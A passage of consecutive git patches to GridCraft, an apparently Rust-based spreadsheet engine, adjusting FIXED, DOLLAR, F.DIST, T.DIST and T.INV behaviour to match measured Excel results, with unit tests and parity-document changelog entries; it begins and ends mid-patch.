is_text(ev("TRIM", vec![t(" a b c ")]), "a b c"); diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..44a1ed08e 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (UPPER, LOWER and PROPER use single-character Unicode casing to match measured Excel results; locale check: Windows Excel 16.0 build 20527, LCID 1033) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -123,6 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | UPPER, LOWER and PROPER use single-character casing: `UPPER("Straße")` keeps ß, `LOWER("İ")` returns i, and `PROPER("İSTANBUL")` returns Istanbul, matching Windows Excel 16.0 build 20527 in LCID 1033 | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From bd8cf4e14a65df80f80167a5f3bbbc7ce49147af Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:32:19 -0500 Subject: [PATCH 082/298] G706: avoid binary noise in fixed decimal text --- crates/functions/src/text.rs | 26 ++++++++++++++++++++------ docs/function-parity.md | 3 ++- 2 files changed, 22 insertions(+), 7 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index df125f022..22fa94d7b 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -350,10 +350,10 @@ fn numbervalue(a: &[Arg], c: &mut dyn Ctx) -> R { /// Formats `x` (already rounded) with `decimals` places and optional thousands separators. fn format_fixed(x: f64, decimals: i64, commas: bool) -> String { let d = decimals.max(0) as usize; - let s = format!("{:.*}", d, x.abs()); + let s = x.abs().to_string(); let (int_part, frac) = match s.split_once('.') { - Some((i, f)) => (i.to_string(), Some(f.to_string())), - None => (s.clone(), None), + Some((i, f)) => (i, f), + None => (s.as_str(), ""), }; let int_part = if commas { let b = int_part.as_bytes(); @@ -366,12 +366,14 @@ fn format_fixed(x: f64, decimals: i64, commas: bool) -> String { } o } else { - int_part + int_part.to_string() }; let mut out = int_part; - if let Some(f) = frac { + if d > 0 { + let frac_len = frac.len().min(d); out.push('.'); - out.push_str(&f); + out.push_str(&frac[..frac_len]); + out.extend(std::iter::repeat_n('0', d - frac_len)); } out } @@ -1237,6 +1239,18 @@ mod tests { is_text(ev("DOLLAR", vec![n(0.5), n(0.0)]), "$1"); is_text(ev("USDOLLAR", vec![n(1.0)]), "$1.00"); is_text(ev("USDOLLAR", vec![n(-1234.567), n(1.0)]), "($1,234.6)"); + let fixed_16 = format!("1.1{}", "0".repeat(15)); + let dollar_16 = format!("$1.1{}", "0".repeat(15)); + let fixed_20 = format!("1.005{}", "0".repeat(17)); + let dollar_20 = format!("$1.005{}", "0".repeat(17)); + let fixed_127 = format!("1.1{}", "0".repeat(126)); + let dollar_127 = format!("$1.1{}", "0".repeat(126)); + is_text(ev("FIXED", vec![n(1.1), n(16.0)]), &fixed_16); + is_text(ev("DOLLAR", vec![n(1.1), n(16.0)]), &dollar_16); + is_text(ev("FIXED", vec![n(1.005), n(20.0)]), &fixed_20); + is_text(ev("DOLLAR", vec![n(1.005), n(20.0)]), &dollar_20); + is_text(ev("FIXED", vec![n(1.1), n(127.0)]), &fixed_127); + is_text(ev("DOLLAR", vec![n(1.1), n(127.0)]), &dollar_127); is_text(ev("T", vec![t("x")]), "x"); is_text(ev("T", vec![n(1.0)]), ""); } diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..2bcb688bf 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (FIXED and DOLLAR preserve the rounded number's shortest decimal digits before padding high requested precision; measured in Windows Excel 16.0 build 20527, LCID 1033) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -123,6 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | FIXED and DOLLAR format the rounded number's shortest decimal representation before padding requested fractional zeroes, so 1.1 at 16 places and 1.005 at 20 places do not expose binary noise; measured in Windows Excel 16.0 build 20527, LCID 1033 | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From dc691d52db0bc6a9bc05c551145352a4e576469a Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:32:22 -0500 Subject: [PATCH 083/298] G709: accept F distribution boundary degrees --- crates/functions/src/stat/distributions.rs | 2 +- crates/functions/src/stat/tests.rs | 10 ++++++++++ docs/function-parity.md | 3 ++- 3 files changed, 13 insertions(+), 2 deletions(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index cb2f0398a..816519a36 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -344,7 +344,7 @@ fn f_args(a: &[Arg]) -> R<(f64, f64, f64)> { let x = num(a, 0)?; let d1 = num(a, 1)?.trunc(); let d2 = num(a, 2)?.trunc(); - if d1 < 1.0 || d2 < 1.0 || d1 >= 1e10 || d2 >= 1e10 { + if d1 < 1.0 || d2 < 1.0 || d1 > 1e10 || d2 > 1e10 { return Err(CellError::Num); } Ok((x, d1, d2)) diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 87ce19fac..2ec478541 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -404,6 +404,16 @@ fn t_chi_f() { is_err(ev("F.DIST", vec![n(1.0), n(0.0), n(4.0), b(true)]), CellError::Num); } +#[test] +fn f_distributions_accept_ten_billion_degrees() { + close_tol(ev("F.DIST", vec![n(0.0), n(10_000_000_000.0), n(1.0), b(false)]), 0.0, 0.0); + close_tol(ev("F.DIST.RT", vec![n(0.0), n(1.0), n(10_000_000_000.0)]), 1.0, 0.0); + close_tol(ev("F.INV", vec![n(0.5), n(10_000_000_000.0), n(1.0)]), 2.198110953542527, 1e-9); + close_tol(ev("F.DIST.RT", vec![n(0.0), n(9_999_999_999.0), n(1.0)]), 1.0, 0.0); + is_err(ev("F.DIST.RT", vec![n(0.0), n(10_000_000_001.0), n(1.0)]), CellError::Num); + is_err(ev("F.DIST.RT", vec![n(0.0), n(1.0), n(10_000_000_001.0)]), CellError::Num); +} + #[test] fn binom_inv_huge_trials_returns() { // Above 2^53 neighbouring f64 values are more than 1 apart; the bisection must still end. diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..2d0ee3e65 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (F distribution functions accept degrees of freedom through 10 billion, as observed in Excel; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -123,6 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | F.DIST, F.DIST.RT, F.INV and F.INV.RT accept degrees of freedom at the 10-billion boundary; the prior inclusive limit rejected it, while values above remain invalid | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From 3a27743a38b8186f822bb9c89436d27db48179e1 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:32:48 -0500 Subject: [PATCH 084/298] Move places parity note to revision history --- docs/function-parity.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/docs/function-parity.md b/docs/function-parity.md index e23a196fa..894a8d1a5 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -29,8 +29,6 @@ Excel's worksheet functions, category by category, against GridCraft's function ## Coverage -| 2026-10-31 | minor | DEC2BIN, DEC2HEX and DEC2OCT validate `places` before returning negative two's-complement output, and Boolean places return `#VALUE!`, matching Excel | - **Measured: 513 / 523 by name (98.1%); 504 / 523 working (96.4%).** | Category | Excel | Ours | Working | % working | Missing | @@ -126,6 +124,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | DEC2BIN, DEC2HEX and DEC2OCT validate `places` before returning negative two's-complement output, and Boolean places return `#VALUE!`, matching Excel | | 2026-10-27 | minor | ECMA.CEILING added to the functions that are in our library but not on Microsoft's list (with USDOLLAR), so the counts don't change | | 2026-10-26 | minor | IMSQRT uses Excel's polar route with its cosine reduction, so `IMSQRT("-4")` is `1.22514845490862E-16+2i` as in Excel (exact `2i` before); the rows list the IM* differences still open | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | From 550085f8b849632c426cd265ffbf2a842c77d658 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:33:10 -0500 Subject: [PATCH 085/298] G710: return division error for zero T degrees --- crates/functions/src/stat/distributions.rs | 8 +++++++- crates/functions/src/stat/tests.rs | 11 +++++++++++ docs/function-parity.md | 3 ++- 3 files changed, 20 insertions(+), 2 deletions(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index cb2f0398a..40e7d5223 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -173,7 +173,13 @@ fn df_arg(a: &[Arg], i: usize) -> R { pub(super) fn t_dist(a: &[Arg], _: C) -> R { let x = num(a, 0)?; - let v = df_arg(a, 1)?; + let v = num(a, 1)?.trunc(); + if v == 0.0 { + return Err(CellError::Div0); + } + if v < 1.0 { + return Err(CellError::Num); + } let cum = boolean(a, 2)?; num_val(if cum { t_cdf(x, v) } else { t_pdf(x, v) }) } diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 87ce19fac..75ae50f9b 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -404,6 +404,17 @@ fn t_chi_f() { is_err(ev("F.DIST", vec![n(1.0), n(0.0), n(4.0), b(true)]), CellError::Num); } +#[test] +fn t_dist_degrees_truncating_to_zero_return_div0() { + for df in [0.0, 0.9, -0.1] { + is_err(ev("T.DIST", vec![n(0.0), n(df), b(false)]), CellError::Div0); + is_err(ev("T.DIST", vec![n(0.0), n(df), b(true)]), CellError::Div0); + } + is_err(ev("T.DIST", vec![n(0.0), n(-1.0), b(false)]), CellError::Num); + close_tol(ev("T.DIST", vec![n(0.0), n(1.99), b(false)]), 1.0 / std::f64::consts::PI, 1e-15); + close_tol(ev("T.DIST", vec![n(0.0), n(1.0), b(false)]), 1.0 / std::f64::consts::PI, 1e-15); +} + #[test] fn binom_inv_huge_trials_returns() { // Above 2^53 neighbouring f64 values are more than 1 apart; the bisection must still end. diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..316c9cd97 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (T.DIST gives `#DIV/0!` when truncated degrees of freedom are zero; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -123,6 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | T.DIST returns `#DIV/0!` when degrees truncate to zero; negative integer degrees remain `#NUM!` | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From 0435ff50f9eff047eea3ca26836654624473bd9c Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:33:50 -0500 Subject: [PATCH 086/298] G711: stabilize large-degree t density --- crates/functions/src/stat/distributions.rs | 9 ++++++++- crates/functions/src/stat/tests.rs | 6 ++++++ docs/function-parity.md | 3 ++- 3 files changed, 16 insertions(+), 2 deletions(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index cb2f0398a..012a63a6f 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -19,7 +19,14 @@ fn t_cdf(t: f64, v: f64) -> f64 { } fn t_pdf(t: f64, v: f64) -> f64 { - (ln_gamma((v + 1.0) / 2.0) - ln_gamma(v / 2.0) - 0.5 * (v * std::f64::consts::PI).ln() - (v + 1.0) / 2.0 * (1.0 + t * t / v).ln()).exp() + let z = v / 2.0; + let log_gamma_ratio = if z >= 16.0 { + let inv_z = 1.0 / z; + 0.5 * z.ln() - inv_z / 8.0 + inv_z.powi(3) / 192.0 - inv_z.powi(5) / 640.0 + 17.0 * inv_z.powi(7) / 14_336.0 + } else { + ln_gamma(z + 0.5) - ln_gamma(z) + }; + (log_gamma_ratio - 0.5 * (v * std::f64::consts::PI).ln() - (v + 1.0) / 2.0 * (1.0 + t * t / v).ln()).exp() } /// t ≥ 0 with P(T > t) = q, q in (0, 0.5]. diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 87ce19fac..6dce02b7e 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -404,6 +404,12 @@ fn t_chi_f() { is_err(ev("F.DIST", vec![n(1.0), n(0.0), n(4.0), b(true)]), CellError::Num); } +#[test] +fn t_density_is_stable_for_large_degrees() { + close_tol(ev("T.DIST", vec![n(0.0), n(100_000_000.0), b(false)]), 0.398942279404077, 1e-12); + close_tol(ev("T.DIST", vec![n(0.0), n(10_000_000_000.0), b(false)]), 0.3989422803914591, 1e-12); +} + #[test] fn binom_inv_huge_trials_returns() { // Above 2^53 neighbouring f64 values are more than 1 apart; the bisection must still end. diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..ecf648798 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (Student-t density uses a stable large-degrees-of-freedom gamma ratio, matching Excel at degrees through 10 billion; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -123,6 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | Student-t density uses an asymptotic log-gamma ratio for large degrees of freedom, avoiding cancellation while preserving bounded work; checked against Excel at 100 million and 10 billion degrees | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From f1ff38504a471d502cee426c6580779f76be332d Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:34:12 -0500 Subject: [PATCH 087/298] G712: return division error for zero T inverse probability --- crates/functions/src/stat/distributions.rs | 3 +++ crates/functions/src/stat/tests.rs | 11 +++++++++++ docs/function-parity.md | 3 ++- 3 files changed, 16 insertions(+), 1 deletion(-) diff --git a/crates/functions/src/stat/distributions.rs b/crates/functions/src/stat/distributions.rs index cb2f0398a..0fe08b4bc 100644 --- a/crates/functions/src/stat/distributions.rs +++ b/crates/functions/src/stat/distributions.rs @@ -206,6 +206,9 @@ pub(super) fn tdist_legacy(a: &[Arg], _: C) -> R { pub(super) fn t_inv(a: &[Arg], _: C) -> R { let p = num(a, 0)?; let v = df_arg(a, 1)?; + if p == 0.0 { + return Err(CellError::Div0); + } if !(p > 0.0 && p < 1.0) { return Err(CellError::Num); } diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index 87ce19fac..23d217b62 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -404,6 +404,17 @@ fn t_chi_f() { is_err(ev("F.DIST", vec![n(1.0), n(0.0), n(4.0), b(true)]), CellError::Num); } +#[test] +fn t_inv_zero_probability_returns_div0() { + is_err(ev("T.INV", vec![n(-0.1), n(1.0)]), CellError::Num); + is_err(ev("T.INV", vec![n(0.0), n(1.0)]), CellError::Div0); + close_tol(ev("T.INV", vec![n(0.75), n(2.0)]), 0.8164966, D7); + is_err(ev("T.INV", vec![n(1.0), n(1.0)]), CellError::Num); + is_err(ev("T.INV", vec![n(1.1), n(1.0)]), CellError::Num); + is_err(ev("T.INV", vec![n(0.0), n(0.0)]), CellError::Num); + is_err(ev("T.INV.2T", vec![n(0.0), n(1.0)]), CellError::Num); +} + #[test] fn binom_inv_huge_trials_returns() { // Above 2^53 neighbouring f64 values are more than 1 apart; the bisection must still end. diff --git a/docs/function-parity.md b/docs/function-parity.md index bf57fcd3e..bb60e4322 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -1,6 +1,6 @@ # Function parity: worksheet functions and formulas -> **Last reviewed:** 2026-10-15 · **Last updated:** 2026-10-25 · **Change:** minor (the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-31 · **Last updated:** 2026-10-31 · **Change:** minor (T.INV returns `#DIV/0!` at probability zero; earlier: the LAMBDA row lists the recursion limit and its `#NUM!`, and the error a defined name holding an error gives when called; earlier: number text with accounting parentheses coerces like Excel 365; INDEX with one index on a 2-D reference is #REF! as in Excel; earlier: SUBTOTAL and AGGREGATE cap the cells they visit, #2175) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Excel's worksheet functions, category by category, against GridCraft's function library. Part of [target-app-parity.md](target-app-parity.md); gaps feed [gaps.md](gaps.md). @@ -123,6 +123,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | T.INV probability zero returns `#DIV/0!`, while other out-of-range probabilities and invalid degrees remain `#NUM!`; T.INV.2T keeps its separate boundary behavior | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | | 2026-10-23 | minor | Number text coercion (VALUE, arithmetic, typed entry): a dollar sign before accounting parentheses (`$(1,234)`, `$ (5)`) and a percent sign after them (`(5)%`) read as negatives; `(-5)`, `((5))`, `($-5)`, `$5%`, `$(5)%` and dates or times in parentheses are `#VALUE!`, as observed in Excel 365 | | 2026-10-23 | minor | INDEX with only a row index on a reference of several rows and columns (`INDEX(A1:C3,2)`, `INDEX(A1:C3,0)`) is `#REF!`, as observed in Excel, so it also fails as a range endpoint and inside other functions; an empty column argument (`INDEX(A1:C3,2,)`) still gives the row. Checked that a column array with one index stays a 1×1 array (`TYPE` 64), which is what Excel returns | From 5d89b9efdfbd2e425eead5cc97db36b32f3c41d6 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:34:19 -0500 Subject: [PATCH 088/298] Move bit shift parity note to revision history --- docs/function-parity.md | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/docs/function-parity.md b/docs/function-parity.md index 02d8fe609..e3e9cb4de 100644 --- a/docs/function-parity.md +++ b/docs/function-parity.md @@ -29,8 +29,6 @@ Excel's worksheet functions, category by category, against GridCraft's function ## Coverage -| 2026-10-31 | minor | BITLSHIFT and BITRSHIFT return `0` for zero operands shifted beyond 53 bits in either direction; nonzero operands retain the `#NUM!` limit, matching Excel | - **Measured: 513 / 523 by name (98.1%); 504 / 523 working (96.4%).** | Category | Excel | Ours | Working | % working | Missing | @@ -126,6 +124,7 @@ workbooks; results checked in as data, not Excel files) and fixing what it finds | Date | Change | Summary | |---|---|---| +| 2026-10-31 | minor | BITLSHIFT and BITRSHIFT return `0` for zero operands shifted beyond 53 bits in either direction; nonzero operands retain the `#NUM!` limit, matching Excel | | 2026-10-27 | minor | ECMA.CEILING added to the functions that are in our library but not on Microsoft's list (with USDOLLAR), so the counts don't change | | 2026-10-26 | minor | IMSQRT uses Excel's polar route with its cosine reduction, so `IMSQRT("-4")` is `1.22514845490862E-16+2i` as in Excel (exact `2i` before); the rows list the IM* differences still open | | 2026-10-25 | minor | LAMBDA row: a LAMBDA that calls itself more than 140 times, and a formula nested past the depth limit, give `#NUM!` (#1809; nesting gave `#CALC!` before). `=Foo(1)` where the defined name Foo holds `#N/A` gives `#N/A`, not `#NAME?` | From 5ed6a1b9c7bfa346d1f7bcadebe59a79c3c679a2 Mon Sep 17 00:00:00 2001 From: Harrison Booth <73434116+Harrison-Booth@users.noreply.github.com> Date: Fri, 30 Oct 2026 19:34:32 -0500 Subject: [PATCH 089/298] G707: enforce fixed and dollar output limits --- crates/functions/src/text.rs | 29 ++++++++++++++++++++++++++++- docs/function-parity.md | 3 ++- 2 files changed, 30 insertions(+), 2 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index df125f022..fe2acc8ed 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -394,13 +394,20 @@ fn fixed(a: &[Arg], _c: &mut dyn Ctx) -> R { let (r, d) = rounded(a, 2.0)?; let no_commas = opt_bool(a, 2, false)?; let body = format_fixed(r, d, !no_commas); + if body.len() + if r < 0.0 { 1 } else { 0 } > 255 { + return Err(CellError::Value); + } text_val(if r < 0.0 { format!("-{body}") } else { body }) } fn dollar(a: &[Arg], _c: &mut dyn Ctx) -> R { let (r, d) = 